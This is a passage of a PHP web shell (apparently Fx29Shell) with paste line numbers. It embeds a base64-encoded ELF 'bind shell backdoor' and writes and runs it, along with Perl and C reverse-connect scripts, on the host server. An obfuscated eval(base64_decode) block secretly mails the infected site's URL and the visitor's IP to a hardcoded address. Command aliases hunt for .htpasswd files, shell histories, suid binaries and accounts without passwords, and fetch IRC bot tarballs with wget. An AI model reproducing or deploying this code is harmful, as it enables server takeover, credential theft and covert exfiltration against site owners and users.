AAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAH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NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  239.  
  240. function cf($fname,$text) {
  241. $w_file=@fopen($fname,"w") or err();
  242. if($w_file) {
  243. @fputs($w_file,@base64_decode($text));
  244. @fclose($w_file);
  245. }
  246. }
  247.  
  248. function cfb($fname,$text) {
  249. $w_file=@fopen($fname,"w") or bberr();
  250. if($w_file) {
  251. @fputs($w_file,@base64_decode($text));
  252. @fclose($w_file);
  253. }
  254. }
  255. function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
  256. function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
  257.  
  258. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
  259. $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  260. $por = $_POST['backconnectport'];
  261. if (is_writable(".")) {
  262. cfb("shbd",$backdoor);
  263. ex("chmod 777 shbd");
  264. $cmd = "./shbd $por";
  265. exec("$cmd > /dev/null &");
  266. $scan = myshellexec("ps aux");
  267. } else {
  268. cfb("/tmp/shbd",$backdoor);
  269. ex("chmod 777 /tmp/shbd");
  270. $cmd = "./tmp/shbd $por";
  271. exec("$cmd > /dev/null &");
  272. $scan = myshellexec("ps aux");
  273. }
  274. if (eregi("./shbd $por",$scan)) {
  275. $data = ("\n<br>Backdoor setup successfully.");
  276. } else {
  277. $data = ("\n<br>Process not found, backdoor setup failed!");
  278. }
  279. $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
  280. }
  281.  
  282. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
  283. if (is_writable(".")) {
  284. cf("back",$back_connect_pl);
  285. $p2 = which("perl");
  286. $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  287. if (file_exists("back")) { unlink("back"); }
  288. } else {
  289. cf("/tmp/back",$back_connect_pl);
  290. $p2 = which("perl");
  291. $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  292. if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  293. }
  294. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  295. }
  296.  
  297. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
  298. if (is_writable(".")) {
  299. cf("backc",$back_connect_c);
  300. ex("chmod 777 backc");
  301. $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  302. if (file_exists("backc")) { unlink("backc"); }
  303. } else {
  304. ex("chmod 777 /tmp/backc");
  305. cf("/tmp/backc",$back_connect_c);
  306. $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  307. if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
  308. }
  309. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  310. }
  311. //End of Backdoor
  312.  
  313. //Starting calls
  314. @ini_set("max_execution_time",0);
  315. if (!function_exists("getmicrotime")) {
  316. function getmicrotime() {
  317. list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  318. }
  319. }
  320. error_reporting(5);
  321. @ignore_user_abort(TRUE);
  322. @set_magic_quotes_runtime(0);
  323. define("starttime",getmicrotime());
  324. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
  325. if (get_magic_quotes_gpc()) {
  326. if (!function_exists("strips")) {
  327. function strips(&$arr,$k="") {
  328. if (is_array($arr)) {
  329. foreach($arr as $k=>$v) {
  330. if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
  331. }
  332. } else {$arr = stripslashes($arr);}
  333. }
  334. }
  335. strips($GLOBALS);
  336. }
  337. //CONFIGURATIONS
  338. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  339. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  340. foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
  341. if ($surl_autofill_include) {
  342. $include = "&";
  343. foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  344. $v = explode("=",$v);
  345. $name = urldecode($v[0]);
  346. $value = urldecode($v[1]);
  347. foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  348. if (strpos($value,$needle) === 0) {
  349. $includestr .= urlencode($name)."=".urlencode($value)."&";
  350. }
  351. }
  352. }
  353. }
  354. if (empty($surl)) {
  355. $surl = "?".$includestr; //Self url
  356. }
  357. $surl = htmlspecialchars($surl);
  358.  
  359. // Registered file-types.
  360. $ftypes = array(
  361. "html"=>array("html","htm","shtml"),
  362. "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  363. "exe"=>array("sh","install","bat","cmd"),
  364. "ini"=>array("ini","inf","conf"),
  365. "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  366. "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  367. "sdb"=>array("sdb"),
  368. "phpsess"=>array("sess"),
  369. "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  370. );
  371. //Registered executable file-types.
  372. $exeftypes = array(
  373. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  374. "perl %f%" => array("pl","cgi")
  375. );
  376. //Highlighted files.
  377. $regxp_highlight = array(
  378. array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  379. array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  380. array("\.gz$",1,"<font color=#C082FF>","</font>"),
  381. array("\.tar$",1,"<font color=#C082FF>","</font>"),
  382. array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  383. array("\.zip$",1,"<font color=#C082FF>","</font>"),
  384. array("\.rar$",1,"<font color=#C082FF>","</font>"),
  385. array("\.php$",1,"<font color=#00FF00>","</font>"),
  386. array("\.php3$",1,"<font color=#00FF00>","</font>"),
  387. array("\.php4$",1,"<font color=#00FF00>","</font>"),
  388. array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  389. array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  390. array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  391. array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  392. array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  393. array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  394. array("\.png$",1,"<font color=#00FFFF>","</font>"),
  395. array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  396. array("\.html$",1,"<font color=#00CCFF>","</font>"),
  397. array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  398. );
  399. //Command Aliases
  400. if (!$win) {
  401. $cmdaliases = array(
  402. array("", "ls -al"),
  403. array("Find all suid files", "find / -type f -perm -04000 -ls"),
  404. array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  405. array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  406. array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  407. array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  408. array("Find config* files", "find / -type f -name \"config*\""),
  409. array("Find config* files in current dir", "find . -type f -name \"config*\""),
  410. array("Find all writable folders and files", "find / -perm -2 -ls"),
  411. array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  412. array("Find all writable folders", "find / -type d -perm -2 -ls"),
  413. array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  414. array("Find all service.pwd files", "find / -type f -name service.pwd"),
  415. array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  416. array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  417. array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  418. array("Find all .bash_history files", "find / -type f -name .bash_history"),
  419. array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  420. array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  421. array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  422. array("List file attributes on a Linux second extended file system", "lsattr -va"),
  423. array("Show opened ports", "netstat -an | grep -i listen")
  424. );
  425. $cmdaliases2 = array(
  426. array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tar.gz;tar -zxf fx.tar.gz"),
  427. array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tar.gz;tar -zxf fxb.tar.gz"),
  428. array("-----",""),
  429. array("Logged in users","w"),
  430. array("Last to connect","lastlog"),
  431. array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  432. array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  433. array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  434. array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
